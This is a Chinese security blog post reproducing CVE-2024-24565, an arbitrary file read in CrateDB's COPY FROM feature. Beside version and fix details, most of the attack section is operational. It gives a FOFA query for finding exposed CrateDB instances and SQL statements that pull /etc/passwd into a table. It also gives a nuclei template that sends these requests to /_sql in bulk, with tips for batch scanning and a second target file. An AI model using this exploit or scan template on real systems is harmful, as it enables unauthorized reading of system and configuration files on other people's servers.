CVE-2024-24565 CrateDB数据库任意文件读取漏洞

admin 2024年2月1日20:54:17评论31 views字数 2023阅读6分44秒阅读模式

使

01

漏洞名称

CrateDB数据库任意文件读取漏洞

02

漏洞影响

受影响版本:<=5.3.8, <=5.4.7, <=5.5.3, 5.6.0

安全版本:5.3.9, 5.4.8, 5.5.4, 5.6.1

CVE-2024-24565 CrateDB数据库任意文件读取漏洞

03

漏洞描述

CrateDB是一个开源的分布式SQL数据库,它使得实时存储和分析大量数据变得非常简单。CrateDB数据库中有一个COPYFROM函数,用于将文件数据导入到数据库表中。该功能有一个缺陷,通过身份验证的攻击者可以使用COPY FROM功能将任意文件内容导入到数据库表中。从而造成信息泄露。在5.3.9、5.4.8、5.5.4和5.6.1中对该漏洞进行了修补。

此漏洞同时也会影响CrateDB Cloud Cluster。

04

FOFA搜索语句
title="CrateDB"

CVE-2024-24565 CrateDB数据库任意文件读取漏洞

05

漏洞复现

这是个开源项目,靶场参考官方文档搭建,项目地址如下

https://github.com/crate/crate

文档地址如下

https://cratedb.com/docs/crate/admin-ui/en/latest/

POC,其实就三条SQL语句,创建一个表,然后导入数据,然后再查询表,但由于数据库的管理页面暴露在互联网上,执行SQL语句也没有任何权限校验,所以该漏洞可以远程攻击。

CREATE TABLE info_leak(info_leak STRING);COPY info_leak FROM '/etc/passwd' with (format='csv', header=false);SELECT * FROM info_leak;

CVE-2024-24565 CrateDB数据库任意文件读取漏洞

漏洞复现成功

另外他还有一个特殊文件/crate/config/crate.yml

06

批量扫描脚本

nuclei poc文件内容如下

id: CVE-2024-24565info:  name: CrateDB数据库任意文件读取漏洞  author: fgz  severity: high  description: CrateDB是一个开源的分布式SQL数据库,它使得实时存储和分析大量数据变得非常简单。CrateDB数据库中有一个COPYFROM函数,用于将文件数据导入到数据库表中。该功能有一个缺陷,通过身份验证的攻击者可以使用COPY FROM功能将任意文件内容导入到数据库表中。从而造成信息泄露。在5.3.9、5.4.8、5.5.4和5.6.1中对该漏洞进行了修补。  metadata:    max-request: 1    fofa-query: title="CrateDB"    verified: truevariables:  table_name: "{{to_lower(rand_text_alpha(8))}}"requests:  - raw:      - |+        POST /_sql?types HTTP/1.1        Host: {{Hostname}}        Access-Control-Allow-Origin: *        Connection: keep-alive        Content-Type: application/json; charset=UTF-8        {"stmt":"CREATE TABLE {{table_name}}(info_leak STRING)"}      - |+        POST /_sql?types HTTP/1.1        Host: {{Hostname}}        Access-Control-Allow-Origin: *        Connection: keep-alive        Content-Type: application/json; charset=UTF-8        {"stmt":"COPY {{table_name}} FROM '/etc/passwd' with (format='csv', header=false)"}      - |+        POST /_sql?types HTTP/1.1        Host: {{Hostname}}        Access-Control-Allow-Origin: *        Connection: keep-alive        Content-Type: application/json; charset=UTF-8        {"stmt":"SELECT * FROM {{table_name}} limit 10"}    matchers:      - type: dsl        dsl:          - "status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200 && contains(body_3, 'root:')"

POC在测试过程中会给数据库建表,测试完记得给表删掉,批量测试的时候修改下POC,再新增个删除测试表的请求。

07

修复建议

建议您更新当前系统或软件至最新版,完成漏洞的修复。

08

原文始发于微信公众号(AI与网安):CVE-2024-24565 CrateDB数据库任意文件读取漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月1日20:54:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-24565 CrateDB数据库任意文件读取漏洞https://cn-sec.com/archives/2453025.html

发表评论

匿名网友 填写信息